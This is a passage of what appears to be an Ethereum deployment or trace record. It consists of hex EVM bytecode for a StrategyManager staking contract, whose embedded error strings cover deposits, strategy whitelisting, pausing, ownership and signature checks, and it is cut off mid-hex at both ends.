5636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853","output":"0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd